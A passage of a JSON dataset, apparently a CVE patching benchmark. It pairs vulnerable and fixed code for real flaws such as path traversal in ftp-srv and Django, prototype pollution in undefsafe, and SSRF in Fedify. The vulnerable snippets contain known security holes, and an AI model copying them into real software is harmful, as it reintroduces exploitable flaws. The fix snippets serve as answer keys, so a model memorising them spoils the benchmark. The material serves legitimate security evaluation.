        "repo": "https://github.com/npm/node-tar",
        "patch_url": [
            "https://github.com/npm/node-tar/commit/1f036ca23f64a547bdd6c79c1a44bc62e8115da4"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_58_1",
                "commit": "1b94260",
                "file_path": "lib/write-entry.js",
                "start_line": 30,
                "end_line": 85,
                "snippet": "  constructor (p, opt) {\n    opt = opt || {}\n    super(opt)\n    if (typeof p !== 'string')\n      throw new TypeError('path is required')\n    this.path = p\n    // suppress atime, ctime, uid, gid, uname, gname\n    this.portable = !!opt.portable\n    // until node has builtin pwnam functions, this'll have to do\n    this.myuid = process.getuid && process.getuid()\n    this.myuser = process.env.USER || ''\n    this.maxReadSize = opt.maxReadSize || maxReadSize\n    this.linkCache = opt.linkCache || new Map()\n    this.statCache = opt.statCache || new Map()\n    this.preservePaths = !!opt.preservePaths\n    this.cwd = opt.cwd || process.cwd()\n    this.strict = !!opt.strict\n    this.noPax = !!opt.noPax\n    this.noMtime = !!opt.noMtime\n    this.mtime = opt.mtime || null\n\n    if (typeof opt.onwarn === 'function')\n      this.on('warn', opt.onwarn)\n\n    let pathWarn = false\n    if (!this.preservePaths && path.win32.isAbsolute(p)) {\n      // absolutes on posix are also absolutes on win32\n      // so we only need to test this one to get both\n      const parsed = path.win32.parse(p)\n      this.path = p.substr(parsed.root.length)\n      pathWarn = parsed.root\n    }\n\n    this.win32 = !!opt.win32 || process.platform === 'win32'\n    if (this.win32) {\n      this.path = winchars.decode(this.path.replace(/\\\\/g, '/'))\n      p = p.replace(/\\\\/g, '/')\n    }\n\n    this.absolute = opt.absolute || path.resolve(this.cwd, p)\n\n    if (this.path === '')\n      this.path = './'\n\n    if (pathWarn) {\n      this.warn('TAR_ENTRY_INFO', `stripping ${pathWarn} from absolute path`, {\n        entry: this,\n        path: pathWarn + this.path,\n      })\n    }\n\n    if (this.statCache.has(this.absolute))\n      this[ONLSTAT](this.statCache.get(this.absolute))\n    else\n      this[LSTAT]()\n  }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            26,
                            27,
                            28,
                            29,
                            30,
                            31
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_58_1",
                "commit": "1f036ca",
                "file_path": "lib/write-entry.js",
                "start_line": 31,
                "end_line": 62,
                "snippet": "  constructor (p, opt) {\n    opt = opt || {}\n    super(opt)\n    if (typeof p !== 'string')\n      throw new TypeError('path is required')\n    this.path = p\n    // suppress atime, ctime, uid, gid, uname, gname\n    this.portable = !!opt.portable\n    // until node has builtin pwnam functions, this'll have to do\n    this.myuid = process.getuid && process.getuid()\n    this.myuser = process.env.USER || ''\n    this.maxReadSize = opt.maxReadSize || maxReadSize\n    this.linkCache = opt.linkCache || new Map()\n    this.statCache = opt.statCache || new Map()\n    this.preservePaths = !!opt.preservePaths\n    this.cwd = opt.cwd || process.cwd()\n    this.strict = !!opt.strict\n    this.noPax = !!opt.noPax\n    this.noMtime = !!opt.noMtime\n    this.mtime = opt.mtime || null\n\n    if (typeof opt.onwarn === 'function')\n      this.on('warn', opt.onwarn)\n\n    let pathWarn = false\n    if (!this.preservePaths) {\n      const [root, stripped] = stripAbsolutePath(this.path)\n      if (root) {\n        this.path = stripped\n        pathWarn = root\n      }\n    }"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-32804"
    },
    {
        "cve_id": "CVE-2020-26299",
        "cve_description": "ftp-srv is an open-source FTP server designed to be simple yet configurable. In ftp-srv before version 4.4.0 there is a path-traversal vulnerability. Clients of FTP servers utilizing ftp-srv hosted on Windows machines can escape the FTP user's defined root folder using the expected FTP commands, for example, CWD and UPDR. When windows separators exist within the path (`\\`), `path.resolve` leaves the upper pointers intact and allows the user to move beyond the root folder defined for that user. We did not take that into account when creating the path resolve function. The issue is patched in version 4.4.0 (commit 457b859450a37cba10ff3c431eb4aa67771122e3).",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/autovance/ftp-srv",
        "patch_url": [
            "https://github.com/autovance/ftp-srv/commit/457b859450a37cba10ff3c431eb4aa67771122e3"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_55_1",
                "commit": "722da60",
                "file_path": "src/fs.js",
                "start_line": 10,
                "end_line": 14,
                "snippet": "  constructor(connection, {root, cwd} = {}) {\n    this.connection = connection;\n    this.cwd = nodePath.normalize(cwd ? nodePath.join(nodePath.sep, cwd) : nodePath.sep);\n    this._root = nodePath.resolve(root || process.cwd());\n  }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_55_2",
                "commit": "722da60",
                "file_path": "src/fs.js",
                "start_line": 20,
                "end_line": 39,
                "snippet": "  _resolvePath(path = '.') {\n    const clientPath = (() => {\n      path = nodePath.normalize(path);\n      if (nodePath.isAbsolute(path)) {\n        return nodePath.join(path);\n      } else {\n        return nodePath.join(this.cwd, path);\n      }\n    })();\n\n    const fsPath = (() => {\n      const resolvedPath = nodePath.join(this.root, clientPath);\n      return nodePath.resolve(nodePath.normalize(nodePath.join(resolvedPath)));\n    })();\n\n    return {\n      clientPath,\n      fsPath\n    };\n  }",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2,
                            3,
                            4,
                            5,
                            6,
                            7,
                            8,
                            9,
                            10,
                            11,
                            12,
                            13,
                            14
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_55_1",
                "commit": "457b859",
                "file_path": "src/fs.js",
                "start_line": 13,
                "end_line": 17,
                "snippet": "  constructor(connection, {root, cwd} = {}) {\n    this.connection = connection;\n    this.cwd = nodePath.normalize((cwd || '/').replace(WIN_SEP_REGEX, '/'));\n    this._root = nodePath.resolve(root || process.cwd());\n  }"
            },
            {
                "id": "fix_js_55_2",
                "commit": "457b859",
                "file_path": "src/fs.js",
                "start_line": 23,
                "end_line": 44,
                "snippet": "  _resolvePath(path = '.') {\n    // Unix separators normalize nicer on both unix and win platforms\n    const resolvedPath = path.replace(WIN_SEP_REGEX, '/');\n\n    // Join cwd with new path\n    const joinedPath = nodePath.isAbsolute(resolvedPath)\n      ? nodePath.normalize(resolvedPath)\n      : nodePath.join('/', this.cwd, resolvedPath);\n\n    // Create local filesystem path using the platform separator\n    const fsPath = nodePath.resolve(nodePath.join(this.root, joinedPath)\n      .replace(UNIX_SEP_REGEX, nodePath.sep)\n      .replace(WIN_SEP_REGEX, nodePath.sep));\n\n    // Create FTP client path using unix separator\n    const clientPath = joinedPath.replace(WIN_SEP_REGEX, '/');\n\n    return {\n      clientPath,\n      fsPath\n    };\n  }"
            },
            {
                "id": "fix_js_55_3",
                "commit": "457b859",
                "file_path": "src/fs.js",
                "start_line": 9,
                "end_line": 10,
                "snippet": "const UNIX_SEP_REGEX = /\\//g;\nconst WIN_SEP_REGEX = /\\\\/g;"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-26299"
    },
    {
        "cve_id": "CVE-2019-10795",
        "cve_description": "undefsafe before 2.0.3 is vulnerable to Prototype Pollution. The 'a' function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.",
        "cwe_info": {
            "CWE-74": {
                "name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')",
                "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/remy/undefsafe",
        "patch_url": [
            "https://github.com/remy/undefsafe/commit/f272681b3a50e2c4cbb6a8533795e1453382c822"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_73_1",
                "commit": "f495954",
                "file_path": "lib/undefsafe.js",
                "start_line": 3,
                "end_line": 117,
                "snippet": "function undefsafe(obj, path, value, __res) {\n  // I'm not super keen on this private function, but it's because\n  // it'll also be use in the browser and I wont *one* function exposed\n  function split(path) {\n    var res = [];\n    var level = 0;\n    var key = '';\n\n    for (var i = 0; i < path.length; i++) {\n      var c = path.substr(i, 1);\n\n      if (level === 0 && (c === '.' || c === '[')) {\n        if (c === '[') {\n          level++;\n          i++;\n          c = path.substr(i, 1);\n        }\n\n        if (key) {\n          // the first value could be a string\n          res.push(key);\n        }\n        key = '';\n        continue;\n      }\n\n      if (c === ']') {\n        level--;\n        key = key.slice(0, -1);\n        continue;\n      }\n\n      key += c;\n    }\n\n    res.push(key);\n\n    return res;\n  }\n\n  // bail if there's nothing\n  if (obj === undefined || obj === null) {\n    return undefined;\n  }\n\n  var parts = split(path);\n  var key = null;\n  var type = typeof obj;\n  var root = obj;\n  var parent = obj;\n\n  var star =\n    parts.filter(function(_) {\n      return _ === '*';\n    }).length > 0;\n\n  // we're dealing with a primitive\n  if (type !== 'object' && type !== 'function') {\n    return obj;\n  } else if (path.trim() === '') {\n    return obj;\n  }\n\n  key = parts[0];\n  var i = 0;\n  for (; i < parts.length; i++) {\n    key = parts[i];\n    parent = obj;\n\n    if (key === '*') {\n      // loop through each property\n      var prop = '';\n      var res = __res || [];\n\n      for (prop in parent) {\n        var shallowObj = undefsafe(\n          obj[prop],\n          parts.slice(i + 1).join('.'),\n          value,\n          res\n        );\n        if (shallowObj && shallowObj !== res) {\n          if ((value && shallowObj === value) || value === undefined) {\n            if (value !== undefined) {\n              return shallowObj;\n            }\n\n            res.push(shallowObj);\n          }\n        }\n      }\n\n      if (res.length === 0) {\n        return undefined;\n      }\n\n      return res;\n    }\n\n    obj = obj[key];\n    if (obj === undefined || obj === null) {\n      break;\n    }\n  }\n\n  // if we have a null object, make sure it's the one the user was after,\n  // if it's not (i.e. parts has a length) then give undefined back.\n  if (obj === null && i !== parts.length - 1) {\n    obj = undefined;\n  } else if (!star && value) {\n    key = path.split('.').pop();\n    parent[key] = value;\n  }\n  return obj;\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            98
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_73_1",
                "commit": "f272681b3a50e2c4cbb6a8533795e1453382c822",
                "file_path": "lib/undefsafe.js",
                "start_line": 3,
                "end_line": 121,
                "snippet": "function undefsafe(obj, path, value, __res) {\n  // I'm not super keen on this private function, but it's because\n  // it'll also be use in the browser and I wont *one* function exposed\n  function split(path) {\n    var res = [];\n    var level = 0;\n    var key = '';\n\n    for (var i = 0; i < path.length; i++) {\n      var c = path.substr(i, 1);\n\n      if (level === 0 && (c === '.' || c === '[')) {\n        if (c === '[') {\n          level++;\n          i++;\n          c = path.substr(i, 1);\n        }\n\n        if (key) {\n          // the first value could be a string\n          res.push(key);\n        }\n        key = '';\n        continue;\n      }\n\n      if (c === ']') {\n        level--;\n        key = key.slice(0, -1);\n        continue;\n      }\n\n      key += c;\n    }\n\n    res.push(key);\n\n    return res;\n  }\n\n  // bail if there's nothing\n  if (obj === undefined || obj === null) {\n    return undefined;\n  }\n\n  var parts = split(path);\n  var key = null;\n  var type = typeof obj;\n  var root = obj;\n  var parent = obj;\n\n  var star =\n    parts.filter(function(_) {\n      return _ === '*';\n    }).length > 0;\n\n  // we're dealing with a primitive\n  if (type !== 'object' && type !== 'function') {\n    return obj;\n  } else if (path.trim() === '') {\n    return obj;\n  }\n\n  key = parts[0];\n  var i = 0;\n  for (; i < parts.length; i++) {\n    key = parts[i];\n    parent = obj;\n\n    if (key === '*') {\n      // loop through each property\n      var prop = '';\n      var res = __res || [];\n\n      for (prop in parent) {\n        var shallowObj = undefsafe(\n          obj[prop],\n          parts.slice(i + 1).join('.'),\n          value,\n          res\n        );\n        if (shallowObj && shallowObj !== res) {\n          if ((value && shallowObj === value) || value === undefined) {\n            if (value !== undefined) {\n              return shallowObj;\n            }\n\n            res.push(shallowObj);\n          }\n        }\n      }\n\n      if (res.length === 0) {\n        return undefined;\n      }\n\n      return res;\n    }\n\n    if (Object.getOwnPropertyNames(obj).indexOf(key) == -1) {\n      return undefined;\n    }\n\n    obj = obj[key];\n    if (obj === undefined || obj === null) {\n      break;\n    }\n  }\n\n  // if we have a null object, make sure it's the one the user was after,\n  // if it's not (i.e. parts has a length) then give undefined back.\n  if (obj === null && i !== parts.length - 1) {\n    obj = undefined;\n  } else if (!star && value) {\n    key = path.split('.').pop();\n    parent[key] = value;\n  }\n  return obj;\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-10795"
    },
    {
        "cve_id": "CVE-2025-23221",
        "cve_description": "Fedify is a TypeScript library for building federated server apps powered by ActivityPub and other standards. This vulnerability allows a user to maneuver the Webfinger mechanism to perform a GET request to any internal resource on any Host, Port, URL combination regardless of present security mechanisms, and forcing the victim’s server into an infinite loop causing Denial of Service. Moreover, this issue can also be maneuvered into performing a Blind SSRF attack. This vulnerability is fixed in 1.0.14, 1.1.11, 1.2.11, and 1.3.4.",
        "cwe_info": {
            "CWE-918": {
                "name": "Server-Side Request Forgery (SSRF)",
                "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."
            }
        },
        "repo": "https://github.com/dahlia/fedify",
        "patch_url": [
            "https://github.com/dahlia/fedify/commit/e921134dd5097586e4563ea80b9e8d1b5460a645",
            "https://github.com/dahlia/fedify/commit/c505eb82fcd6b5b17174c6659c29721bc801ab9a",
            "https://github.com/dahlia/fedify/commit/8be3c2038eebf4ae12481683a1e809b314be3151"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_37_1",
                "commit": "c505eb8",
                "file_path": "src/webfinger/lookup.ts",
                "start_line": 14,
                "end_line": 106,
                "snippet": "export async function lookupWebFinger(\n  resource: URL | string,\n): Promise {\n  if (typeof resource === \"string\") resource = new URL(resource);\n  let protocol = \"https:\";\n  let server: string;\n  if (resource.protocol === \"acct:\") {\n    const atPos = resource.pathname.lastIndexOf(\"@\");\n    if (atPos < 0) return null;\n    server = resource.pathname.substring(atPos + 1);\n    if (server === \"\") return null;\n  } else {\n    protocol = resource.protocol;\n    server = resource.host;\n  }\n  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n  url.searchParams.set(\"resource\", resource.href);\n  let redirected = 0;\n  while (true) {\n    logger.debug(\n      \"Fetching WebFinger resource descriptor from {url}...\",\n      { url: url.href },\n    );\n    let response: Response;\n    try {\n      response = await fetch(url, {\n        headers: { Accept: \"application/jrd+json\" },\n        redirect: \"manual\",\n      });\n    } catch (error) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {error}\",\n        { url: url.href, error },\n      );\n      return null;\n    }\n    if (\n      response.status >= 300 && response.status < 400 &&\n      response.headers.has(\"Location\")\n    ) {\n      redirected++;\n      if (redirected >= MAX_REDIRECTION) {\n        logger.error(\n          \"Too many redirections ({redirections}) while fetching WebFinger \" +\n            \"resource descriptor.\",\n          { redirections: redirected },\n        );\n        return null;\n      }\n      const redirectedUrl = new URL(\n        response.headers.get(\"Location\")!,\n        response.url == null || response.url === \"\" ? url : response.url,\n      );\n      if (redirectedUrl.protocol !== url.protocol) {\n        logger.error(\n          \"Redirected to a different protocol ({protocol} to \" +\n            \"{redirectedProtocol}) while fetching WebFinger resource \" +\n            \"descriptor.\",\n          {\n            protocol: url.protocol,\n            redirectedProtocol: redirectedUrl.protocol,\n          },\n        );\n        return null;\n      }\n      url = redirectedUrl;\n      continue;\n    }\n    if (!response.ok) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n        {\n          url: url.href,\n          status: response.status,\n          statusText: response.statusText,\n        },\n      );\n      return null;\n    }\n    try {\n      return await response.json() as ResourceDescriptor;\n    } catch (e) {\n      if (e instanceof SyntaxError) {\n        logger.debug(\n          \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n          { error: e },\n        );\n        return null;\n      }\n      throw e;\n    }\n  }\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            24
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_37_1",
                "commit": "8be3c2038eebf4ae12481683a1e809b314be3151",
                "file_path": "src/webfinger/lookup.ts",
                "start_line": 15,
                "end_line": 108,
                "snippet": "export async function lookupWebFinger(\n  resource: URL | string,\n): Promise {\n  if (typeof resource === \"string\") resource = new URL(resource);\n  let protocol = \"https:\";\n  let server: string;\n  if (resource.protocol === \"acct:\") {\n    const atPos = resource.pathname.lastIndexOf(\"@\");\n    if (atPos < 0) return null;\n    server = resource.pathname.substring(atPos + 1);\n    if (server === \"\") return null;\n  } else {\n    protocol = resource.protocol;\n    server = resource.host;\n  }\n  let url = new URL(`${protocol}//${server}/.well-known/webfinger`);\n  url.searchParams.set(\"resource\", resource.href);\n  let redirected = 0;\n  while (true) {\n    logger.debug(\n      \"Fetching WebFinger resource descriptor from {url}...\",\n      { url: url.href },\n    );\n    let response: Response;\n    await validatePublicUrl(url.href);\n    try {\n      response = await fetch(url, {\n        headers: { Accept: \"application/jrd+json\" },\n        redirect: \"manual\",\n      });\n    } catch (error) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {error}\",\n        { url: url.href, error },\n      );\n      return null;\n    }\n    if (\n      response.status >= 300 && response.status < 400 &&\n      response.headers.has(\"Location\")\n    ) {\n      redirected++;\n      if (redirected >= MAX_REDIRECTION) {\n        logger.error(\n          \"Too many redirections ({redirections}) while fetching WebFinger \" +\n            \"resource descriptor.\",\n          { redirections: redirected },\n        );\n        return null;\n      }\n      const redirectedUrl = new URL(\n        response.headers.get(\"Location\")!,\n        response.url == null || response.url === \"\" ? url : response.url,\n      );\n      if (redirectedUrl.protocol !== url.protocol) {\n        logger.error(\n          \"Redirected to a different protocol ({protocol} to \" +\n            \"{redirectedProtocol}) while fetching WebFinger resource \" +\n            \"descriptor.\",\n          {\n            protocol: url.protocol,\n            redirectedProtocol: redirectedUrl.protocol,\n          },\n        );\n        return null;\n      }\n      url = redirectedUrl;\n      continue;\n    }\n    if (!response.ok) {\n      logger.debug(\n        \"Failed to fetch WebFinger resource descriptor: {status} {statusText}.\",\n        {\n          url: url.href,\n          status: response.status,\n          statusText: response.statusText,\n        },\n      );\n      return null;\n    }\n    try {\n      return await response.json() as ResourceDescriptor;\n    } catch (e) {\n      if (e instanceof SyntaxError) {\n        logger.debug(\n          \"Failed to parse WebFinger resource descriptor as JSON: {error}\",\n          { error: e },\n        );\n        return null;\n      }\n      throw e;\n    }\n  }\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2025-23221"
    },
    {
        "cve_id": "CVE-2022-36009",
        "cve_description": "gomatrixserverlib is a Go library for matrix protocol federation. Dendrite is a Matrix homeserver written in Go, an alternative to Synapse. The power level parsing within gomatrixserverlib was failing to parse the `\"events_default\"` key of the `m.room.power_levels` event, defaulting the event default power level to zero in all cases. Power levels are the matrix terminology for user access level. In rooms where the `\"events_default\"` power level had been changed, this could result in events either being incorrectly authorised or rejected by Dendrite servers. gomatrixserverlib contains a fix as of commit `723fd49` and Dendrite 0.9.3 has been updated accordingly. Matrix rooms where the `\"events_default\"` power level has not been changed from the default of zero are not vulnerable. Users are advised to upgrade. There are no known workarounds for this issue.",
        "cwe_info": {
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            }
        },
        "repo": "https://github.com/matrix-org/gomatrixserverlib",
        "patch_url": [
            "https://github.com/matrix-org/gomatrixserverlib/commit/723fd495dde835d078b9f2074b6b62c06dea4575"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_55_1",
                "commit": "6a49c18",
                "file_path": "eventcontent.go",
                "start_line": 408,
                "end_line": 474,
                "snippet": "func NewPowerLevelContentFromEvent(event *Event) (c PowerLevelContent, err error) {\n\t// Set the levels to their default values.\n\tc.Defaults()\n\n\tvar strict bool\n\tif strict, err = event.roomVersion.RequireIntegerPowerLevels(); err != nil {\n\t\treturn\n\t} else if strict {\n\t\t// Unmarshal directly to PowerLevelContent, since that will kick up an\n\t\t// error if one of the power levels isn't an int64.\n\t\tif err = json.Unmarshal(event.Content(), &c); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t} else {\n\t\t// We can't extract the JSON directly to the powerLevelContent because we\n\t\t// need to convert string values to int values.\n\t\tvar content struct {\n\t\t\tInviteLevel        levelJSONValue            `json:\"invite\"`\n\t\t\tBanLevel           levelJSONValue            `json:\"ban\"`\n\t\t\tKickLevel          levelJSONValue            `json:\"kick\"`\n\t\t\tRedactLevel        levelJSONValue            `json:\"redact\"`\n\t\t\tUserLevels         map[string]levelJSONValue `json:\"users\"`\n\t\t\tUsersDefaultLevel  levelJSONValue            `json:\"users_default\"`\n\t\t\tEventLevels        map[string]levelJSONValue `json:\"events\"`\n\t\t\tStateDefaultLevel  levelJSONValue            `json:\"state_default\"`\n\t\t\tEventDefaultLevel  levelJSONValue            `json:\"event_default\"`\n\t\t\tNotificationLevels map[string]levelJSONValue `json:\"notifications\"`\n\t\t}\n\t\tif err = json.Unmarshal(event.Content(), &content); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// Update the levels with the values that are present in the event content.\n\t\tcontent.InviteLevel.assignIfExists(&c.Invite)\n\t\tcontent.BanLevel.assignIfExists(&c.Ban)\n\t\tcontent.KickLevel.assignIfExists(&c.Kick)\n\t\tcontent.RedactLevel.assignIfExists(&c.Redact)\n\t\tcontent.UsersDefaultLevel.assignIfExists(&c.UsersDefault)\n\t\tcontent.StateDefaultLevel.assignIfExists(&c.StateDefault)\n\t\tcontent.EventDefaultLevel.assignIfExists(&c.EventsDefault)\n\n\t\tfor k, v := range content.UserLevels {\n\t\t\tif c.Users == nil {\n\t\t\t\tc.Users = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Users[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.EventLevels {\n\t\t\tif c.Events == nil {\n\t\t\t\tc.Events = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Events[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.NotificationLevels {\n\t\t\tif c.Notifications == nil {\n\t\t\t\tc.Notifications = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Notifications[k] = v.value\n\t\t}\n\t}\n\n\treturn\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            27
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_55_1",
                "commit": "723fd49",
                "file_path": "eventcontent.go",
                "start_line": 408,
                "end_line": 474,
                "snippet": "func NewPowerLevelContentFromEvent(event *Event) (c PowerLevelContent, err error) {\n\t// Set the levels to their default values.\n\tc.Defaults()\n\n\tvar strict bool\n\tif strict, err = event.roomVersion.RequireIntegerPowerLevels(); err != nil {\n\t\treturn\n\t} else if strict {\n\t\t// Unmarshal directly to PowerLevelContent, since that will kick up an\n\t\t// error if one of the power levels isn't an int64.\n\t\tif err = json.Unmarshal(event.Content(), &c); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t} else {\n\t\t// We can't extract the JSON directly to the powerLevelContent because we\n\t\t// need to convert string values to int values.\n\t\tvar content struct {\n\t\t\tInviteLevel        levelJSONValue            `json:\"invite\"`\n\t\t\tBanLevel           levelJSONValue            `json:\"ban\"`\n\t\t\tKickLevel          levelJSONValue            `json:\"kick\"`\n\t\t\tRedactLevel        levelJSONValue            `json:\"redact\"`\n\t\t\tUserLevels         map[string]levelJSONValue `json:\"users\"`\n\t\t\tUsersDefaultLevel  levelJSONValue            `json:\"users_default\"`\n\t\t\tEventLevels        map[string]levelJSONValue `json:\"events\"`\n\t\t\tStateDefaultLevel  levelJSONValue            `json:\"state_default\"`\n\t\t\tEventDefaultLevel  levelJSONValue            `json:\"events_default\"`\n\t\t\tNotificationLevels map[string]levelJSONValue `json:\"notifications\"`\n\t\t}\n\t\tif err = json.Unmarshal(event.Content(), &content); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// Update the levels with the values that are present in the event content.\n\t\tcontent.InviteLevel.assignIfExists(&c.Invite)\n\t\tcontent.BanLevel.assignIfExists(&c.Ban)\n\t\tcontent.KickLevel.assignIfExists(&c.Kick)\n\t\tcontent.RedactLevel.assignIfExists(&c.Redact)\n\t\tcontent.UsersDefaultLevel.assignIfExists(&c.UsersDefault)\n\t\tcontent.StateDefaultLevel.assignIfExists(&c.StateDefault)\n\t\tcontent.EventDefaultLevel.assignIfExists(&c.EventsDefault)\n\n\t\tfor k, v := range content.UserLevels {\n\t\t\tif c.Users == nil {\n\t\t\t\tc.Users = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Users[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.EventLevels {\n\t\t\tif c.Events == nil {\n\t\t\t\tc.Events = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Events[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.NotificationLevels {\n\t\t\tif c.Notifications == nil {\n\t\t\t\tc.Notifications = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Notifications[k] = v.value\n\t\t}\n\t}\n\n\treturn\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-36009"
    },
    {
        "cve_id": "CVE-2021-33203",
        "cve_description": "Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/django/django",
        "patch_url": [
            "https://github.com/django/django/commit/20c67a0693c4ede2b09af02574823485e82e4c8f",
            "https://github.com/django/django/commit/dfaba12cda060b8b292ae1d271b44bf810b1c5b9",
            "https://github.com/django/django/commit/053cc9534d174dc89daba36724ed2dcb36755b90"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_6_1",
                "commit": "aa8781c",
                "file_path": "django/contrib/admindocs/views.py",
                "start_line": 321,
                "end_line": 347,
                "snippet": "    def get_context_data(self, **kwargs):\n        template = self.kwargs['template']\n        templates = []\n        try:\n            default_engine = Engine.get_default()\n        except ImproperlyConfigured:\n            # Non-trivial TEMPLATES settings aren't supported (#24125).\n            pass\n        else:\n            # This doesn't account for template loaders (#24128).\n            for index, directory in enumerate(default_engine.dirs):\n                template_file = Path(directory) / template\n                if template_file.exists():\n                    template_contents = template_file.read_text()\n                else:\n                    template_contents = ''\n                templates.append({\n                    'file': template_file,\n                    'exists': template_file.exists(),\n                    'contents': template_contents,\n                    'order': index,\n                })\n        return super().get_context_data(**{\n            **kwargs,\n            'name': template,\n            'templates': templates,\n        })",
                "vul_localization": [
                    {
                        "patch_lines": [
                            12
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_6_1",
                "commit": "20c67a0",
                "file_path": "django/contrib/admindocs/views.py",
                "start_line": 322,
                "end_line": 348,
                "snippet": "    def get_context_data(self, **kwargs):\n        template = self.kwargs['template']\n        templates = []\n        try:\n            default_engine = Engine.get_default()\n        except ImproperlyConfigured:\n            # Non-trivial TEMPLATES settings aren't supported (#24125).\n            pass\n        else:\n            # This doesn't account for template loaders (#24128).\n            for index, directory in enumerate(default_engine.dirs):\n                template_file = Path(safe_join(directory, template))\n                if template_file.exists():\n                    template_contents = template_file.read_text()\n                else:\n                    template_contents = ''\n                templates.append({\n                    'file': template_file,\n                    'exists': template_file.exists(),\n                    'contents': template_contents,\n                    'order': index,\n                })\n        return super().get_context_data(**{\n            **kwargs,\n            'name': template,\n            'templates': templates,\n        })"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-33203"
    },
    {
        "cve_id": "CVE-2024-1724",
        "cve_description": "In snapd versions prior to 2.62, when using AppArmor for enforcement of \nsandbox permissions, snapd failed to restrict writes to the $HOME/bin\npath. In Ubuntu, when this path exists, it is automatically added to\nthe users PATH. An attacker who could convince a user to install a\nmalicious snap which used the 'home' plug could use this vulnerability\nto install arbitrary scripts into the users PATH which may then be run\nby the user outside of the expected snap sandbox and hence allow them\nto escape confinement.",
        "cwe_info": {
            "CWE-732": {
                "name": "Incorrect Permission Assignment for Critical Resource",
                "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."
            }
        },
        "repo": "https://github.com/snapcore/snapd",
        "patch_url": [
